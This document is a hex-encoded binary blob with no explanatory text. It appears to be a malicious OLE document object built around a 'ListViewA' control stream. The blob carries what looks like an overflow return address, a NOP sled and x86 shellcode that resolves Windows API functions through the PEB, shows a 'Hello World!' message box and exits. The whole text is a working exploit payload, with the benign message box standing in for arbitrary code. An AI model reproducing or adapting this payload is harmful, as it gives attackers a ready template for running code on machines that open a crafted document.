"\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x44\x46\x46\x46\x46\x46\x46\x46\x45\x46\x46\x46\x46\x46\x46\x46\x45\x46\x46\x46\x46\x46\x46\x30\x34\x30\x30\x30\x30\x30\x30\x30\x35\x30\x30\x30\x30\x30\x30\x46\x45\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x35\x32\x30\x30\x36\x46\x30\x30\x36\x46\x30\x30\x37\x34\x30\x30\x32\x30\x30\x30\x34\x35\x30\x30\x36\x45\x30\x30\x37\x34\x30\x30\x37\x32\x30\x30\x37\x39\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x31\x36\x30\x30\x30\x35\x30\x30\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x30\x32\x30\x30\x30\x30\x30\x30\x34\x42\x46\x30\x44\x31\x42\x44\x38\x42\x38\x35\x44\x31\x31\x31\x42\x31\x36\x41\x30\x30\x43\x30\x46\x30\x32\x38\x33\x36\x32\x38\x30\x30\x30\x30\x30\x30\x30\x30\x36\x32\x65\x61\x44\x46\x42\x39\x33\x34\x30\x44\x43\x44\x30\x31\x34\x35\x35\x39\x44\x46\x42\x39\x33\x34\x30\x44\x43\x44\x30\x31\x30\x33\x30\x30\x30\x30\x30\x30\x30\x30\x30\x36\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x33\x30\x30\x34\x46\x30\x30\x36\x32\x30\x30\x36\x41\x30\x30\x34\x39\x30\x30\x36\x45\x30\x30\x36\x36\x30\x30\x36\x46\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x31\x32\x30\x30\x30\x32\x30\x30\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30". "\x30\x30\x36\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x33\x30\x30\x34\x46\x30\x30\x34\x33\x30\x30\x35\x38\x30\x30\x34\x45\x30\x30\x34\x31\x30\x30\x34\x44\x30\x30\x34\x35\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x31\x32\x30\x30\x30\x32\x30\x31\x30\x31\x30\x30\x30\x30\x30\x30\x30\x33\x30\x30\x30\x30\x30\x30\x46\x46\x46\x46\x46\x46\x46\x46\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x31\x30\x30\x30\x30\x30\x30\x31\x36\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x34\x33\x30\x30\x36\x46\x30\x30\x36\x45\x30\x30\x37\x34\x30\x30\x36\x35\x30\x30\x36\x45\x30\x30\x37\x34\x30\x30\x37\x33\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x31\x32\x30\x30\x30\x32\x30\x30\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x32\x30\x30\x30\x30\x30\x30\x37\x45\x30\x35\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x46\x45\x46\x46\x46\x46\x46\x46\x46\x45\x46\x46\x46\x46\x46\x46\x30\x33\x30\x30\x30\x30\x30\x30\x30\x34\x30\x30\x30\x30\x30\x30\x30\x35\x30\x30\x30\x30\x30\x30\x30\x36\x30\x30\x30\x30\x30\x30\x30\x37\x30\x30\x30\x30\x30\x30\x30\x38\x30\x30\x30\x30\x30\x30\x30\x39\x30\x30\x30\x30\x30\x30\x30\x41\x30\x30\x30\x30\x30\x30\x30\x42\x30\x30\x30\x30\x30\x30\x30\x43\x30\x30\x30\x30\x30\x30\x30\x44\x30\x30\x30\x30\x30\x30\x30\x45\x30\x30\x30\x30\x30\x30\x30\x46\x30\x30\x30\x30\x30\x30\x31\x30\x30\x30\x30\x30\x30\x30\x31\x31\x30\x30\x30\x30\x30\x30\x31\x32\x30\x30\x30\x30\x30\x30\x31\x33\x30\x30\x30\x30\x30\x30\x31\x34\x30\x30\x30\x30\x30\x30\x31\x35\x30\x30\x30\x30\x30\x30\x31\x36\x30\x30\x30\x30\x30\x30\x31\x37\x30\x30\x30\x30\x30\x30\x46\x45\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x30\x30\x39\x32\x30\x33\x30\x30\x30\x34\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x34\x43\x30\x30\x36\x39\x30\x30\x37\x33\x30\x30\x37\x34\x30\x30\x35\x36\x30\x30\x36\x39\x30\x30\x36\x35\x30\x30\x37\x37\x30\x30\x34\x31\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x32\x31\x34\x33\x33\x34\x31\x32\x30\x38\x30\x30\x30\x30\x30\x30\x36\x61\x62\x30\x38\x32\x32\x63\x62\x62\x30\x35\x30\x30\x30\x30\x34\x45\x30\x38\x37\x44\x45\x42\x30\x31\x30\x30\x30\x36\x30\x30\x31\x43\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x36\x30\x30\x30\x31\x35\x36\x30\x41\x30\x30\x30\x30\x30\x31\x45\x46\x43\x44\x41\x42\x30\x30\x30\x30\x30\x35\x30\x30\x39\x38\x35\x44\x36\x35\x30\x31\x30\x37\x30\x30\x30\x30\x30\x30\x30\x38\x30\x30\x30\x30\x38\x30\x30\x35\x30\x30\x30\x30\x38\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x31\x46\x44\x45\x45\x43\x42\x44\x30\x31\x30\x30\x30\x35\x30\x30\x39\x30\x31\x37\x31\x39\x30\x30\x30\x30\x30\x30\x30\x38\x30\x30\x30\x30\x30\x30\x34\x39\x37\x34\x36\x44\x37\x33\x36\x34\x30\x30\x30\x30\x30\x30\x30\x32\x30\x30\x30\x30\x30\x30\x30\x31\x30\x32\x32\x32\x32\x30\x30\x43\x30\x30\x30\x30\x30\x30\x34\x33\x36\x46\x36\x32\x36\x41\x36\x34\x30\x30\x30\x30\x30\x30\x38\x32\x38\x32\x30\x30\x30\x30\x38\x32\x38\x32\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x63\x62\x39\x38\x30\x39\x37\x37\x39\x30\x39\x30\x39\x30\x39\x30\x39\x30\x39\x30\x39\x30\x39\x30\x33\x33\x63\x39\x36\x34\x38\x62\x34\x39\x33\x30\x38\x62\x34\x39\x30\x63\x38\x62\x34\x39\x31\x63\x38\x62\x35\x39\x30\x38\x38\x62\x34\x31\x32\x30\x38\x62\x30\x39\x38\x30\x37\x38\x30\x63\x33\x33\x37\x35\x66\x32\x38\x62\x65\x62\x30\x33\x36\x64\x33\x63\x38\x62\x36\x64\x37\x38\x30\x33\x65\x62\x38\x62\x34\x35\x32\x30\x30\x33\x63\x33\x33\x33\x64\x32\x38\x62\x33\x34\x39\x30\x30\x33\x66\x33\x34\x32\x38\x31\x33\x65\x34\x37\x36\x35\x37\x34\x35\x30\x37\x35\x66\x32\x38\x31\x37\x65\x30\x34\x37\x32\x36\x66\x36\x33\x34\x31\x37\x35\x65\x39\x38\x62\x37\x35\x32\x34\x30\x33\x66\x33\x36\x36\x38\x62\x31\x34\x35\x36\x38\x62\x37\x35\x31\x63\x30\x33\x66\x33\x38\x62\x37\x34\x39\x36\x66\x63\x30\x33\x66\x33\x33\x33\x66\x66\x35\x37\x36\x38\x36\x31\x37\x32\x37\x39\x34\x31\x36\x38\x34\x63\x36\x39\x36\x32\x37\x32\x36\x38\x34\x63\x36\x66\x36\x31\x36\x34\x35\x34\x35\x33\x66\x66\x64\x36\x33\x33\x63\x39\x35\x37\x36\x36\x62\x39\x33\x33\x33\x32\x35\x31\x36\x38\x37\x35\x37\x33\x36\x35\x37\x32\x35\x34\x66\x66\x64\x30\x35\x37\x36\x38\x36\x66\x37\x38\x34\x31\x30\x31\x66\x65\x34\x63\x32\x34\x30\x33\x36\x38\x36\x31\x36\x37\x36\x35\x34\x32\x36\x38\x34\x64\x36\x35\x37\x33\x37\x33\x35\x34\x35\x30\x66\x66\x64\x36\x35\x37\x36\x38\x37\x32\x36\x63\x36\x34\x32\x31\x36\x38\x36\x66\x32\x30\x35\x37\x36\x66\x36\x38\x34\x38\x36\x35\x36\x63\x36\x63\x38\x62\x63\x63\x35\x37\x35\x37\x35\x31\x35\x37\x66\x66\x64\x30\x35\x37\x36\x38\x36\x35\x37\x33\x37\x33\x30\x31\x66\x65\x34\x63\x32\x34\x30\x33\x36\x38\x35\x30\x37\x32\x36\x66\x36\x33\x36\x38\x34\x35\x37\x38\x36\x39\x37\x34\x35\x34\x35\x33\x66\x66\x64\x36\x35\x37\x66\x66\x64\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30". 